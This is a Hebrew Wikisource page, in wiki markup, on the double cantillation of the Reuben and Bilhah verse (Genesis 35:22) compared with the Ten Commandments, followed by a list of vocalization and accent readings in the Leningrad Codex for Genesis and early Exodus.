:{{מ:טעמי המקרא|16}}וַיְהִ֗י בִּשְׁכֹּ֤ן יִשְׂרָאֵל֙ בָּאָ֣רֶץ הַהִ֔וא וַיֵּ֣לֶךְ {{נוסח|רְאוּבֵ{{שני טעמים באות אחת|֗|֔}}ן|=ש ומ&quot;ש (רביע וזקף קטן)|ל=רְאוּבֵ{{שנין טעמים באות אחת|֔|֗}}ן (זקף קטן ורביע בהיפוך סדר הופעת הטעמים)|ברויאר היה בספק אם הרביע קיים בכתי&quot;ל, אבל מעיון בכתב־היד מתברר שכן (וכך קבע גם דותן).}} וַיִּשְׁכַּ֕ב֙ אֶת־בִּלְהָ֖ה֙ פִּילֶ֣גֶשׁ אָבִ֑֔יו וַיִּשְׁמַ֖ע יִשְׂרָאֵ{{שני טעמים באות אחת|֑|ֽ}}ל{{מ:טעמי המקרא-סוף}}

(א) לפי מערכת הטעמים הנכתבת שנייה בכתבי־היד, המסתיימת בסילוק (סוף פסוק), יחידה זו היא פסוק עצמאי, ואין לו קשר ישיר לפסוק הבא (שמופיע לאחר רווח של פרשה פתוחה):
:{{מ:טעמי המקרא|16}}וַיְהִ֗י בִּשְׁכֹּ֤ן יִשְׂרָאֵל֙ בָּאָ֣רֶץ הַהִ֔וא וַיֵּ֣לֶךְ רְאוּבֵ֔ן וַיִּשְׁכַּ֕ב אֶת־בִּלְהָ֖ה פִּילֶ֣גֶשׁ אָבִ֑יו וַיִּשְׁמַ֖ע יִשְׂרָאֵֽל׃ {פ} וַיִּֽהְי֥וּ בְנֵֽי־יַעֲקֹ֖ב שְׁנֵ֥ים עָשָֽׂר׃{{מ:טעמי המקרא-סוף}}
(ב) ואילו לפי מערכת הטעמים הנכתבת ראשונה בכתבי־היד, ומסתיימת באתנחתא, הפסוק של מעשה ראובן ממשיך אף לאחר הרווח של הפרשה הפתוחה:
:{{מ:טעמי המקרא|16}}וַיְהִ֗י בִּשְׁכֹּ֤ן יִשְׂרָאֵל֙ בָּאָ֣רֶץ הַהִ֔וא וַיֵּ֣לֶךְ רְאוּבֵ֗ן וַיִּשְׁכַּב֙ אֶת־בִּלְהָה֙ פִּילֶ֣גֶשׁ אָבִ֔יו וַיִּשְׁמַ֖ע יִשְׂרָאֵ֑ל {פ} וַיִּֽהְי֥וּ בְנֵֽי־יַעֲקֹ֖ב שְׁנֵ֥ים עָשָֽׂר׃{{מ:טעמי המקרא-סוף}}

השיטה האחרונה מחברת את שני הפסוקים מלפני הרווח של הפרשה ולאחריה בעקבות האמירה המדרשית שכל בני יעקב &quot;שקולים כאחד&quot;, כולל ראובן ולמרות מעשהו ([[שבת נה ב|שבת נ&quot;ה ע&quot;ב]]):

:אמר רבי שמואל בר נחמני אמר רבי יונתן: כל האומר ראובן חטא אינו אלא טועה, שנאמר: &quot;ויהיו בני יעקב שנים עשר&quot; – מלמד שכולן שקולים כאחת. אלא מה אני מקיים &quot;וישכב את בלהה פילגש אביו&quot;? מלמד שבלבל מצעו של אביו, ומעלה עליו הכתוב כאילו שכב עמה.

ברור שהשיטה הראשונה (א) היא זו שמחלקת את עניין לפסוקים במתכונת רגילה ובהתאם לפשוטו של מקרא, כמו שעושה &quot;הטעם התחתון&quot; בעשרת הדברות. ואילו בשיטה השנייה (ב) יש הטעמה לפסוק אחד שכולל בתוכו שני פסוקים לפי המתכונת הרגילה, ובניגוד לפשוטו של מקרא, כמו שעושה &quot;הטעם העליון&quot; בעשרת הדברות. אמנם יש ייחוד בהטעמה הכפולה בפסוק מעשה ראובן, כי בו ההטעמה המדרשית (ב) נכתבת '''ראשונה''' וההטעמה ה&quot;רגילה&quot; (א) נכתבת '''שנייה'''. וזה ההיפך מעשרת הדברות, שבהם &quot;הטעם התחתון&quot; נכתב ראשון ו&quot;הטעם העליון&quot; לאחריו.

יש עדות נאמנה ומובהקת שהשיטה הראשונה (א) היא אכן המקבילה לטעם התחתון בעשרת הדברות, למרות שהיא כתובה אחרונה בפסוק מעשה ראובן. מדובר על הערת מסורה מיוחדת במסורה הקטנה בכתי&quot;ש: 
:{{מ:טעמי המקרא|16}}&quot;זה הפסוק יש לו שני טעמים טעמ' קדמ{{צבע גופן|אפור|' וַיְהִ֗י בִּשְׁכֹּ֤ן יִשְׂרָאֵל֙ בָּאָ֣רֶץ הַהִ֔וא וַיֵּ֣לֶךְ ראו}}ב֔{{צבע גופן|אפור|ן}} {{צבע גופן|אפור|ויש}}כַ֕{{צבע גופן|אפור|ב}} {{צבע גופן|אפור|את־בל}}הָ֖ה {{צבע גופן|אפור|פי}}לֶ֣{{צבע גופן|אפור|גש}} {{צבע גופן|אפור|א}}בִ֑{{צבע גופן|אפור|יו}} {{צבע גופן|אפור|ויש}}מ֖{{צבע גופן|אפור|ע}} {{צבע גופן|אפור|ישר}}אֵֽל׃&quot;{{מ:טעמי המקרא-סוף}}

כלומר, המסורה בכתי&quot;ש מקפידה לציין במפורש את הטעמים השייכים לשיטה הראשונה (א) בשם &quot;טעמא קדמא&quot;. ובעשרת הדברות בכתי&quot;ש היא עושה בדיוק אותו הדבר '''לטעם התחתון דווקא'''. הרי לנו עדות מפורשת ששתיהן שייכות לאותה מסורת של הטעמה (וגם ההגיון מורה כך), למרות ששתי השיטות כתובות בסדר הפוך בפסוק שלנו.

לגבי עשרת הדברות [[#הטעם התחתון והטעם העליון|ראינו]] שסכומי הפסוקים '''לפרשות''' הם לפי קריאת הטעם העליון שהייתה נהוגה בבבל (10 פסוקים בעשרת הדברות), ואילו סכומי הפסוקים '''לספרים''' המלאים הם לפי קריאת הטעם התחתון שהייתה נהוגה בארץ ישראל (12 פסוקים בעשרת הדברות), כולל אצל בעלי המסורה הטברנים. אבל לגבי סכומי הפסוקים בפרשת וישלח ולספר בראשית כולו הסכומים זהים, כלומר אין בהם הפרש של פסוק אחד בגלל החיבור או אי-החיבור של פסוק מעשה ראובן לפסוק שלאחריו. אצל שניהם מדובר על שני פסוקים, ועובדה זו דורשת הסבר.

הרב מרדכי ברויאר הציע שסכומי הפסוקים לפרשות ולספרים אכן מציגים את מנהגי הקריאה הקדומים של בבל וארץ ישראל, כאשר שניהם כאחד נהגו שלא לחבר את פסוק מעשה ראובן לפסוק שלאחריו, אלא לקרוא במתכונת של פסוקים רגילים בהתאם לפשוטו של מקרא (כלומר בשיטה המקבילה לטעם התחתון). &quot;טעמא קדמא&quot; הוא אם כן מנהג הקריאה מקדמת דנא. אבל נראה שבעלי המסורה הטברנים עצמם לא נהגו כמנהג ארץ ישראל הקדום, אלא דווקא נהגו לחבר את שני הפסוקים בקריאתם ולחבר אותם לפסוק אחד בהטעמה, באופן שמביע את כבודו של ראובן בהתאם למדרש ולתרגומי ארץ ישראל.{{הערה|'''בתרגום הירושלמי (&quot;יונתן&quot;):''' &quot;והוה כד שרא ישראל בארעא ההוא, ואזל ראובן ובלבל ית מצעא דבלהה פלקתיה דאבוי, דהוה מסדרא כל קביל מצעא דלאה אמי, '''ואתחשיב עילוי כאלו שימש עמה'''. ושמע ישראל ובאיש ליה, ואמר: ווי דלמא נפק מיני פיסולא, היכמא דנפק מן אברהם ישמעאל, ומן אבא נפק עשו? מתיבא רוחא דקודשא, וכן אמר ליה: '''לא תדחל דכלהון צדיקין ולית בהון פיסולא, דמבתר דאתיליד בנימין הוו בני יעקב תריסר'''.&quot; הפרשנות המדרשית הזאת משתקפת לא רק בתרגומים הירושלמים אלא אף בחלוקת הפסוקים בתרגום אונקלוס לפי כתבי־היד התימנים, שבהם לא רק עשרת הדברות נקראים מקרא ותרגום לכל פסוק לפי הטעם העליון, אלא גם פסוק מעשה ראובן נקרא כך (אמנם כך הוא החלוקה של מקרא ותרגום בכתבי־היד, אבל בפועל לא מתרגמים כלל את מעשה ראובן בציבור אלא רק את המלים &quot;וַיִּֽהְי֥וּ בְנֵֽי־יַעֲקֹ֖ב שְׁנֵ֥ים עָשָֽׂר&quot; בלבד, בהתאם ל[[משנה מגילה ד י|דברי המשנה]] ש&quot;מעשה ראובן נקרא ולא מיתרגם&quot;.).&lt;br&gt;דברי המדרש מסוכמים יפה בפירוש רש&quot;י: '''ויהיו בני יעקב שנים עשר''' – מתחיל לעניין ראשון, משנולד בנימן נשלמה המיטה, ומעתה ראויין להימנות ומנאן. '''ורבותינו דרשו ללמדנו בא שכולם שוים, וכולן צדיקים, שלא חטא ראובן.'''}} ולכן הקדימו הנקדנים/מסרנים את טעמי &quot;הטעם העליון&quot; בפסוק מעשה ראובן, כי זה היה מנהג קריאתם בפועל, אבל הם גם שמרו על המנהג המשותף למנהג ארץ ישראל הקדום ולמנהג בבל (המשתקף כאמור בסכומי הפסוקים) וכתבו את &quot;הטעם התחתון&quot; לאחריו.

לפי הרב מרדכי ברויאר, יוצא מזה שמנהג ארץ ישראל הקדום היה לקרוא את פסוק מעשה ראובן לפי מתכונת רגילה של פסוקים, בדומה לטעם התחתון בעשרת הדברות, וכך היה גם מנהג בבל לגבי פסוק מעשה ראובן. ואילו בעשרת הדברות לא היה להם מנהג משותף, כי בארץ ישראל קראו בטעם התחתון ובבבל קראו בטעם העליון.

יוצא גם שמנהג הקריאה המשתקף בתרגומים של ארץ ישראל שייך תמיד לטעם העליון, כלומר שלפי התרגומים לא מחלקים את הפסוקים במתכונת רגילה ובהתאם לפשוטו של מקרא, אלא מחלקים אותם לפסוקים ארוכים מאוד וקצרים מאוד בהתאם להבנה מדרשית. דבר זה נכון הן לגבי פסוק מעשה ראובן בבראשית, והן לגבי עשרת הדברות בשמות ובדברים. לפי זה מייצגים התרגומים של ארץ ישראל מסורת קריאה שונה מזו של בעלי המסורה הטברנים בעשרת הדברות: לפי התרגומים קוראים את עשרת הדברות בטעם העליון, ולפי בעלי המסורה קוראים אותם בטעם התחתון. אבל לגבי פסוק מעשה ראובן המנהג משותף: קוראים אותו בטעם העליון, הן לפי התרגומים והן לפי בעלי המסורה הטברנים.

ואולי ייתכן שניתן להציע הסבר נוסף לזה של הרב ברויאר. אמנם נראה ברור לגמרי שבעשרת הדברות, הקדימו בעלי המסורה הטברנים בכוונה את הטעמים של מסורת הקריאה שלהם עצמם לטעמים של המסורת האחרת. אבל בפסוק מעשה ראובן מדובר על אותיות מעטות שנכתבים בהן שני טעמים זה אחר זה, כאשר הכי בולטת והחשובה ביותר היא האות אל&quot;ף בתיבה &quot;ישראל&quot;, שבה נכתבים אתנחתא וסילוק ביחד. טעם האתנחתא הזה עומד מיד לפני רווח של פרשה פתוחה כדי לחבר בין שני הפסוקים (למרות הרווח ובניגוד לפשוטו של מקרא), ושאר הטעמים המתאימיםם לו באים רק בעקבותיו. בניגוד לטעם העליון בעשרת הדברות, שבא כדי '''להבליט''' את כל אחד מהדברות וכך לפארו, ההטעמה המקבילה בפסוק מעשה ראובן קיימת אך ורק כדי '''להצניע''' את המעשה ע&quot;י חיבורו לפסוק הבא.

ואם כן אולי היה ראוי במקרה כזה להקדים את האתנחתא לסילוק, כי כך ניתן להדגיש דווקא את האתנחתא, ואת החיבור בין הפסוקים למרות הרווח, וכך להצניע את מעשה ראובן. כלומר: אולי גם במעשה ראובן ייצג הטעם התחתון את מסורת קריאתם של בעלי המסורה הטברנים, אבל מתוך כבוד לעצם העניין המובע במסורת האחרת הקדימו לכתוב אותה ראשונה (ולא בגלל שהיא הייתה מנהגם בפועל). הערות המסורה המפורטות בכתי&quot;ש לגבי &quot;טעמא קדמא&quot; באות אם כן למנוע טעויות, ע&quot;י ציון מדויק למנהגו של המסרן עצמו, כדי שהקורא לא יטעה בגלל '''הסדר''' של הטעמים בפסוק מעשה ראובן או בגלל '''המורכבות''' של ההטעמה הכפולה בעשרת הדברות.

'''במהדורתנו:''' מכיוון שמדובר בסך הכל על פסוק אחד בלבד, ועוד שמערכת הטעמים הכפולה במעשה ראובן נובעת דווקא מהרצון להצניע את העניין, לכן לא נקדיש לו נספח מיוחד בדף עצמאי. במקום זה נסתפק בטבלה קצרה בסוף הדף '''[[פרשת וישלח/טעמים#מעשה ראובן|של הפרשה]]''' והדף '''[[בראשית לה/טעמים#מעשה ראובן|של הפרק]]'''.{{הערה|הטבלה המובאת בסוף הדף '''[[פרשת וישלח/טעמים#מעשה ראובן|של הפרשה]]''' והדף '''[[בראשית לה/טעמים#מעשה ראובן|של הפרק]]''' מועתקת מהמקור הטכני '''[[עשרת הדברות בסיס/טעמים#פסוק מעשה ראובן|כאן]]'''.}} הנוסח של ההטעמה הכפולה יישאר בתוך הרצף של הפרשה יחד עם הקישור הישיר בסימן המיוחד ('''&quot;↓↑&quot;''').

'''מספרי הפסוקים:''' כבר ראינו [[#ציון מספרי הפסוקים בעשרת הדברות|לעיל]] שיש חוסר עקביות בין הדפוסים השונים לגבי ציון מספרי הפסוקים בשמות פרק כ' ובדברים פרק ה' בגלל ההטעמה הכפולה בעשרת הדברות. אך בעיה זו אינה קיימת לגבי מעשה ראובן, כי משום מה '''בכל''' הדפוסים מציינים את הכל (כולל &quot;וַיִּֽהְי֥וּ בְנֵֽי־יַעֲקֹ֖ב שְׁנֵ֥ים עָשָֽׂר&quot;) במספר של פסוק אחד (דהיינו פרק ל&quot;ה פסוק כ&quot;ב). ולכן כך נעשה גם במהדורתנו.

==מסורת הקוראים בתורה: נוסח הניקוד והטעמים בכתי&quot;ל==

{{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|מבוא 1 לרשימת הניקוד והטעמים}} שבכתב־היד, ומקומות נוספים הראויים לציון, לפי סדר ספרי התורה.{{הערה|לגבי נוסח הגעיות בתורה, ראו להלן [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ג#נוסח הגעיות במהדורתנו|&quot;נוסח הגעיות במהדורתנו&quot;]].}}

{{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|מבוא 2 לרשימת הניקוד והטעמים}} לסוג אחד נפוץ יש רשימה עצמאית: [[#מסורת הקוראים בתורה: חטפים באותיות לא גרוניות|החטפים באותיות לא גרוניות בתורה]].

{{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|מבוא 3 לרשימת הניקוד והטעמים}}

ו. לרשימות דומות על ספרי הנביאים והכתובים, ראו ב'''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ד#מסורת הקוראים בנ&quot;ך: נוסח הניקוד והטעמים בכתי&quot;ל|פרק הרביעי]]''' וב'''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#מסורת הקוראים בנ&quot;ך: נוסח הניקוד והטעמים בכתר ארם צובה|פרק החמישי]]''' של המבוא למהדורה.

===ספר בראשית===

א. {{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כותרת לרשימה עיקרית לניקוד וטעמים}}
#[[בראשית ב/טעמים#ב ו|בראשית ב,ו]] (ל=אֶֽת־כָּל־פְּנֵֽי־הָֽאֲדָמָֽה): &quot;פני&quot; מוקפת ובגעיה, במקום מרכא
#[[בראשית ב/טעמים#ב יח|בראשית ב,יח]] (ל!=אֶֽעֱשֶׂהּ־לּ֥וֹ): נקודה באות ה&quot;א
#[[בראשית ד/טעמים#ד יח|בראשית ד,יח]] (ל!=וּמְחִיּיָאֵ֗ל): מקום הקמץ
#[[בראשית ה/טעמים#ה כט|בראשית ה,כט]] (ל*=זֶ{{מ:גרשיים ותלישא גדולה}}ה): גרשיים ותלישא גדולה בראש התיבה כשיטת הכתר
#[[בראשית ו/טעמים#ו טז|בראשית ו,טז]] (ל?!=תְּכַלֶ֣נָּה): חסר דגש באות למ&quot;ד?
#[[בראשית ז/טעמים#ז כג|בראשית ז,כג]] (ל!=וַיִשָּׁ֧אֶר): חסר דגש באות יו&quot;ד
#[[בראשית ט/טעמים#ט כד|בראשית ט,כד]] (ל=אֲשֶׁר־עָֽשָׂה־ל֖וֹ): &quot;עשה&quot; בגעיה ומוקפת, במקום טעם מרכא
#[[בראשית יד/טעמים#יד י|בראשית יד,י]] (ל!=הַשִׂדִּ֗ים): חסר דגש באות שי&quot;ן
#[[בראשית יד/טעמים#יד יז|בראשית יד,יז]] (ל!=אַחַרֵ֣י): חסרות נקודות החטף בחי&quot;ת
#[[בראשית טו/טעמים#טו ב|בראשית טו,ב]] (ל!=וַיֹּ֣אמֶּר): מ&quot;ם דגושה
#[[בראשית טו/טעמים#טו י|בראשית טו,י]] (ל!=וְאֶת־הַצִפֹּ֖ר): חסר דגש באות צד&quot;י
#[[בראשית יח/טעמים#יח יח|בראשית יח,יח]] (ל!=וְנִ֨בְרְכוּ ב֔וֹ): חסר מקף
#[[בראשית יח/טעמים#יח כא|בראשית יח,כא]] (ל!=כַצַדִּ֖יק): חסר דגש באות צד&quot;י
#[[בראשית כ/טעמים#כ ז|בראשית כ,ז]] (ל=מֵשִׁ֗יב): נקודה אחת לרביע, במקום שתי נקודות לזקף קטן
#[[בראשית כב/טעמים#כב ג|בראשית כב,ג]] (ל?!=וַֽיַחֲבֹשׁ֙): חסר דגש באות יו&quot;ד?
#[[בראשית כב/טעמים#כב יב|בראשית כב,יב]] (ל!=מְא֑וּמָּה): אות מ&quot;ם השניה דגושה
#[[בראשית כג/טעמים#כג ט|בראשית כג,ט]] (ל=יִתְּנֶ֥נָּה לִ֛י): אין דגש באות למ&quot;ד
#[[בראשית כד/טעמים#כד לו|בראשית כד,לו]] (ל=וַיִּתֶּן־לּ֖וֹ): למ&quot;ד דגושה
#[[בראשית כד/טעמים#כד נג|בראשית כד,נג]] (ל!=וַיִתֵּ֖ן): חסר דגש באות יו&quot;ד
#[[בראשית כה/טעמים#כה ה|בראשית כה,ה]] (ל!=וַיִתֵּ֧ן): חסר דגש באות יו&quot;ד
#[[בראשית כה/טעמים#כה ו|בראשית כה,ו]] (ל!=בּנוֹ֙): חסר שווא באות בי&quot;ת
#[[בראשית כו/טעמים#כו א|בראשית כו,א]] (ל!=אֶל־אֲבִימֶּ֥לֶךְ): מ&quot;ם דגושה
#[[בראשית כו/טעמים#כו טז|בראשית כו,טז]] (ל?=כִּֽי־עָצַ֥מְתָּ־מִמֶּ֖נּוּ או כִּֽי־עָצַֽמְתָּ־מִמֶּ֖נּוּ): מקף בתיבת משרת (במקום כִּֽי־עָצַ֥מְתָּ מִמֶּ֖נּוּ) או ששתי התיבות &quot;כי עצמת&quot; מוקפות ובגעיות?
#[[בראשית כז/טעמים#כז כט|בראשית כז,כט]] (ל=וְיִשְׁתַּחֲוּ֥וּ): נקודה בוי&quot;ו עיצורית
#[[בראשית ל/טעמים#ל יח|בראשית ל,יח]] (ל?!=יִשָׂשּכָֽר): חסר דגש באות שי&quot;ן הראשונה? דגש באות שי&quot;ן השניה?
#[[בראשית ל/טעמים#ל יט|בראשית ל,יט]] (ל!=לְּיַעֲקֹֽב): למ&quot;ד דגושה
#[[בראשית ל/טעמים#ל לז|בראשית ל,לז]] (ל!=וְעֶרְמ֑וֹן): סגול במקום פתח באות עי&quot;ן
#[[בראשית לא/טעמים#לא נא|בראשית לא,נא]] (ל!=הַמַצֵּבָ֔ה): חסר דגש באות מ&quot;ם
#[[בראשית לב/טעמים#לב יח|בראשית לב,יח]] (ל!=יִֽפְגָּֿשְׁךָ֞): דגש וסימן רפה באות גימ&quot;ל, במקום גימ&quot;ל רפה
#[[בראשית לב/טעמים#לב יח|בראשית לב,יח]] (ל!=וִשְׁאֵֽלְךָ֙): נקודה אחת של חיריק באות וי&quot;ו
#[[בראשית לב/טעמים#לב כד|בראשית לב,כד]] (ל!=אֶת־אֲשֶׁר־לוֹ): חסר סילוק באות למ&quot;ד
#[[בראשית לד/טעמים#לד יא|בראשית לד,יא]] (ל!=אֶל־אָבִ֣יה): חסר קמץ באות ה&quot;א
#[[בראשית לד/טעמים#לד כח|בראשית לד,כח]] (ל?!=וְאֶת־חֲמֹרֵיהֶּ֑ם): ה&quot;א מנוקדת?
#[[בראשית לה/טעמים#לה כב|בראשית לה,כב]] (ל!=רְאוּבֵ֔֗ן): זקף קטן ורביע בהיפוך סדר הופעת הטעמים
#[[בראשית לו/טעמים#לו יג|בראשית לו,יג]] (ל!=אֵ֣לֶּ֣ה): טעם מרכא פעמיים באותיות אל&quot;ף ולמ&quot;ד
#[[בראשית לח/טעמים#לח יא|בראשית לח,יא]] (ל!=בְנְ֔י): שתי נקודות של שווא באות נו&quot;ן
#[[בראשית לח/טעמים#לח טז|בראשית לח,טז]] (ל=מַה־תִּתֶּן־לִּ֔י): למ&quot;ד דגושה
#[[בראשית לח/טעמים#לח יח|בראשית לח,יח]] (ל=אֶתֶּן־לָּךְ֒): למ&quot;ד דגושה
#[[בראשית לח/טעמים#לח יח|בראשית לח,יח]] (ל=וַיִּתֶּן־לָּ֛הּ): למ&quot;ד דגושה
#[[בראשית לח/טעמים#לח כו|בראשית לח,כו]] (ל!=לְדַעְתָּֽה): חסרה נקודת המפיק באות ה&quot;א
#[[בראשית לט/טעמים#לט יט|בראשית לט,יט]] (ל?!=עָ֥שָׂהּ): נקודת מפיק בה&quot;א?
#[[בראשית לט/טעמים#לט כג|בראשית לט,כג]] (ל!=בֵּית־הַסֹּהַ֗ר): מקום הטעם
#[[בראשית מ/טעמים#מ ג|בראשית מ,ג]] (ל!=הַטַבָּחִ֖ים): חסר דגש באות טי&quot;ת
#[[בראשית מ/טעמים#מ יז|בראשית מ,יז]] (ל=הָֽעֶלְי֔וֹן): שתי נקודות לטעם זקף קטן, במקום נקודה אחת לרביע
#[[בראשית מא/טעמים#מא ז|בראשית מא,ז]] (ל!=הַֽשִׁבֳּלִ֔ים): חסר דגש באות שי&quot;ן
#[[בראשית מא/טעמים#מא כד|בראשית מא,כד]] (ל!=הָשִׁבֳּלִ֣ים): קמץ באות ה&quot;א וחסר דגש באות שי&quot;ן
#[[בראשית מא/טעמים#מא כד|בראשית מא,כד]] (ל?=הַֽשִׁבֳּלִ֖ים): חסר דגש באות שי&quot;ן?
#[[בראשית מא/טעמים#מא כז|בראשית מא,כז]] (ל!=הַֽשִׁבֳּלִים֙): חסר דגש באות שי&quot;ן
#[[בראשית מא/טעמים#מא מו|בראשית מא,מו]] (ל!=וַֽיַּעְבֹ֖ר): שווא במקום חטף באות עי&quot;ן
#[[בראשית מב/טעמים#מב ו|בראשית מב,ו]] (ל?=וַיִּשְׁתַּֽחֲוּוּ־ל֥וֹ): נקודה בוי&quot;ו עיצורית?
#[[בראשית מב/טעמים#מב לו|בראשית מב,לו]] (ל!=אֵינֶּ֙נּוּ֙): אות נו&quot;ן הראשונה דגושה
#[[בראשית מג/טעמים#מג ז|בראשית מג,ז]] (ל!=וַנַ֨גֶּד־ל֔וֹ): חסר דגש באות נו&quot;ן
#[[בראשית מג/טעמים#מג כח|בראשית מג,כח]] (ל-כתיב=וַיִּֽשְׁתַּחֲוֻּֽ; ל-קרי=וַיִּֽשְׁתַּחֲוּֽוּ): נקודה בוי&quot;ו עיצורית{{הערה|ראו גם להלן, רשימה ג.}}
#[[בראשית מד/טעמים#מד כ|בראשית מד,כ]] (ל!=וְאָחִ֨יו מֵ֜ת): בטעמים קדמא ואזלא, במקום מונח זקף קטן
#[[בראשית מה/טעמים#מה ו|בראשית מה,ו]] (ל!=וְקָצִּֽיר): אות צד&quot;י דגושה
#[[בראשית מו/טעמים#מו יג|בראשית מו,יג]] (ל=יִשָׂשכָ֑ר): אין דגש
#[[בראשית מו/טעמים#מו יג|בראשית מו,יג]] (ל=וּפֻוָּ֖ה): וי&quot;ו דגושה
#[[בראשית מט/טעמים#מט ח|בראשית מט,ח]] (ל=יִשְׁתַּחֲוּ֥וּ): נקודה בוי&quot;ו עיצורית
#[[בראשית מט/טעמים#מט כו|בראשית מט,כו]] (ל!=תִּֽהְיֶ֙ין֙): חסר קמץ באות נו&quot;ן סופית
#[[בראשית נ/טעמים#נ א|בראשית נ,א]] (ל!=וַיִפֹּ֥ל): חסר דגש באות יו&quot;ד

ב. מתיגת הזקף
#[[בראשית ז/טעמים#ז ח|בראשית ז,ח]] (ל=וּמִן־הַ֨בְּהֵמָ֔ה): מקום המתיגה
#[[בראשית יג/טעמים#יג ה|בראשית יג,ה]] (ל=וְגַם־לְל֔וֹט): אין מתיגה
#[[בראשית יט/טעמים#יט כז|בראשית יט,כז]] (ל=אֶל־הַ֨מָּק֔וֹם): מקום המתיגה
#[[בראשית כב/טעמים#כב ב|בראשית כב,ב]] (ל=וְלֶךְ־לְךָ֔): אין מתיגה
#[[בראשית כז/טעמים#כז מא|בראשית כז,מא]] (ל=עַל־הַ֨בְּרָכָ֔ה): מקום המתיגה
#[[בראשית לב/טעמים#לב כד|בראשית לב,כד]] (ל=וַיִּקָּחֵ֔ם): אין מתיגה
#[[בראשית לה/טעמים#לה א|בראשית לה,א]] (ל=בְּבָרְחֲךָ֔): אין מתיגה
#[[בראשית מא/טעמים#מא יב|בראשית מא,יב]] (ל=וַנְּ֨סַפֶּר־ל֔וֹ): מקום המתיגה
#[[בראשית מה/טעמים#מה יד|בראשית מה,יד]] (ל=וּבִנְיָמִ֔ן): אין מתיגה
#[[בראשית מט/טעמים#מט כט|בראשית מט,כט]] (ל=אֶל־הַ֨מְּעָרָ֔ה): מקום המתיגה

ג. הניקוד בתוך הכתיב
#[[בראשית יד/טעמים#יד ב|בראשית יד,ב]] (ל-כתיב=צְבֹיִי֔ם): מקום הטעם
#[[בראשית יד/טעמים#יד ח|בראשית יד,ח]] (ל-כתיב=צְבֹייִ֔ם): מקום החיריק והטעם
#[[בראשית מג/טעמים#מג כח|בראשית מג,כח]] (ל-כתיב=וַיִּֽשְׁתַּחֲוֻּֽ; ל-קרי=וַיִּֽשְׁתַּחֲוּֽוּ): נקודה בוי&quot;ו עיצורית{{הערה|ראו גם לעיל, רשימה א.}}

===ספר שמות===

א. {{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כותרת לרשימה עיקרית לניקוד וטעמים}}
#[[שמות א/טעמים#א ג|שמות א,ג]] (ל!=וּבְנְיָמִֽן): בי&quot;ת שווּאה
#[[שמות א/טעמים#א טו|שמות א,טו]] (ל!=מֶ֣לֶך): חסר שווא בכ&quot;ף סופית
#[[שמות ב/טעמים#ב י|שמות ב,י]] (ל!=וַיִגְדַּ֣ל): חסר דגש באות יו&quot;ד
#[[שמות ד/טעמים#ד י|שמות ד,י]] (ל!=דַּבֶּרְךָ): חסר טעם הטפחא
#[[שמות ד/טעמים#ד לא|שמות ד,לא]] (ל=וַיִּֽשְׁתַּחֲוּֽוּ): נקודה בוי&quot;ו עיצורית
#[[שמות ה/טעמים#ה יח|שמות ה,יח]] (ל!=תִּתֵּֽנּוּ): נו&quot;ן דגושה
#[[שמות ו/טעמים#ו כז|שמות ו,כז]] (ל!=מֶֽלֶך־מִצְרַ֔יִם): חסר שווא באות כ&quot;ף סופית
#[[שמות ז/טעמים#ז ד|שמות ז,ד]] (ל?!=וְנָתַתִּ֛י): בנקודת תביר?
#[[שמות ז/טעמים#ז י|שמות ז,י]] (ל!=&lt;וַיַּ֣עַשׂוּ כֵ֔ן&gt;): חסרות נקודות החטף בעי&quot;ן
#[[שמות ז/טעמים#ז כ|שמות ז,כ]] (ל?=וַיֵּהָֽפְכ֛וּ): געיה ומרכא במקום מרכא בתיבת תביר?
#[[שמות ח/טעמים#ח ג|שמות ח,ג]] (ל!=הַֽחֲרְטֻמִּ֖ים): בנקודות של חטף באות חי&quot;ת
#[[שמות ח/טעמים#ח ה|שמות ח,ה]] (ל!=וַיֹּ֣אמֶר): בטעם מונח במקום קדמא
#[[שמות ט/טעמים#ט יא|שמות ט,יא]] (ל!=בַּֽחֲרְטֻמִּ֖ם): בנקודות של חטף באות חי&quot;ת
#[[שמות ט/טעמים#ט כב|שמות ט,כב]] (ל!=אֶל־מֹשֶׁה): חסרה נקודת הרביע
#[[שמות י/טעמים#י כד|שמות י,כד]] (ל!=יֵלֵ֥ך): חסר שווא באות כ&quot;ף סופית
#[[שמות י/טעמים#י כח|שמות י,כח]] (ל=אֶל־תֹּ֙סֶף֙): אל&quot;ף בסגול
#[[שמות יא/טעמים#יא ו|שמות יא,ו]] (ל=וְהָֽיְתָ֛ה): געיה ותביר (במקום מרכא בתיבת תביר)
#[[שמות יא/טעמים#יא ח|שמות יא,ח]] (ל=וְהִשְׁתַּֽחֲוּוּ־לִ֣י): נקודה בוי&quot;ו עיצורית
#[[שמות יא/טעמים#יא י|שמות יא,י]] (ל=וַיְּחַזֵּ֤ק): יו&quot;ד דגושה
#[[שמות יב/טעמים#יב ז|שמות יב,ז]] (ל,ו=וְנָֽתְנ֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)
#[[שמות יב/טעמים#יב כז|שמות יב,כז]] (ל=וַיִּֽשְׁתַּחֲוּֽוּ): נקודה בוי&quot;ו עיצורית
#[[שמות יב/טעמים#יב מא|שמות יב,מא]] (ל=יָֽצְא֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)
#[[שמות יב/טעמים#יב מה|שמות יב,מה]] (ל=לֹא־יֹ֥אכַל־בּֽוֹ): המקף השני בתיבת משרת
#[[שמות יד/טעמים#יד ה|שמות יד,ה]] (ל!=וַיֹּֽאמרוּ֙): חסר שווא באות מ&quot;ם
#[[שמות יד/טעמים#יד ט|שמות יד,ט]] (ל!=וַיַּשִׂ֤יגוּ): חסר דגש באות שי&quot;ן
#[[שמות יד/טעמים#יד יא|שמות יד,יא]] (ל!=הַֽמִבְּלִ֤י): חסרות נקודות החטף בה&quot;א הַתֵּמַהּ
#[[שמות יד/טעמים#יד יג|שמות יד,יג]] (ל!=הִֽתְיַצְב֗וּ): חסר דגש באות צד&quot;י
#[[שמות טז/טעמים#טז ט|שמות טז,ט]] (ל!=וַיֹ֤אמֶר): חסר דגש באות יו&quot;ד
